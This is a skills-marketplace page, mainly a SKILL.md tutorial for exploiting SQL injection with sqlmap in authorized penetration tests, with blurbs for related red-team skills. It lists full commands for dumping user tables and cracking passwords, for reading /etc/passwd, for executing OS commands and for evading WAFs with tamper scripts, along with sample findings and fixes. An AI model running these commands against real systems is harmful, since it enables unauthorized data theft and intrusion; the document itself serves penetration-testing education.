菜单
Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-sql-injection-with-sqlmap命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
正在显示 SKILL.md
基于 SOC 职业分类
| name | exploiting-sql-injection-with-sqlmap |
| description | Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","sql-injection","sqlmap","owasp","database-security","web-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
| mitre_attack | ["T1190","T1059.007","T1505.003","T1083","T1055"] |
pip install sqlmap or apt install sqlmap on Kali LinuxManually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.
# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1
# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"
Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.
# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent
sqlmap -u \
--data= \
-p --batch --random-agent
sqlmap -u \
--cookie= \
-p --batch --random-agent
Once injection is confirmed, enumerate databases, tables, and columns.
# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db --tables --batch --random-agent
# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --columns --batch --random-agent
Dump the contents of sensitive tables to demonstrate impact.
# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password,email" \
--dump --batch --random-agent
# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump --start=1 --stop=10 \
--batch --random-agent
# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password" \
--dump --batch --passwords --random-agent
Assess the full impact by testing OS-level access and file operations.
# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
--current-user --current-db --is-dba --batch --random-agent
# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
--file-read="/etc/passwd" --batch --random-agent
# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
--os-cmd="whoami" --batch --random-agent
When Web Application Firewalls or input filters block basic payloads, use tamper scripts.
# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="space2comment,between,randomcase" \
--batch --random-agent
# For specific WAF bypass (e.g., ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="modsecurityversioned,modsecurityzeroversioned" \
--batch --random-agent
# List all available tamper scripts
sqlmap --list-tampers
Document findings and clean up any artifacts.
# sqlmap stores results in ~/.local/share/sqlmap/output/
# Review the target output directory
ls -la ~/.local/share/sqlmap/output/target.example.com/
# Export results with specific output directory
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump \
--output-dir="/tmp/pentest-results" \
--batch --random-agent
# Clean sqlmap session data after engagement
sqlmap --purge
| Concept | Description |
|---|---|
| Union-based SQLi | Uses UNION SELECT to append attacker query results to the original query output |
| Blind Boolean SQLi | Infers data one bit at a time by observing true/false application responses |
| Blind Time-based SQLi | Uses database sleep functions (e.g., SLEEP(5)) to infer data based on response delays |
| Error-based SQLi | Extracts data through verbose database error messages returned in HTTP responses |
| Stacked Queries | Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations |
| Out-of-band SQLi | Exfiltrates data via DNS or HTTP requests initiated by the database server |
| Tamper Scripts | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |
| Second-order SQLi | Injected payload is stored and executed later in a different query context |
| Tool | Purpose |
|---|---|
| sqlmap | Automated SQL injection detection and exploitation framework |
| Burp Suite Professional | HTTP proxy for intercepting, modifying, and replaying requests |
| OWASP ZAP | Free alternative to Burp for web application scanning and proxying |
| Havij | Automated SQL injection tool with GUI (Windows) |
| jSQL Injection | Java-based GUI tool for SQL injection testing |
| DBeaver/DataGrip | Database clients for verifying extracted data structure |
A product detail page uses id parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.
A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.
A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like space2comment and between to encode payloads and bypass the filter rules.
A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.
## SQL Injection Finding
**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection
### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No
### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql
### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at
### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns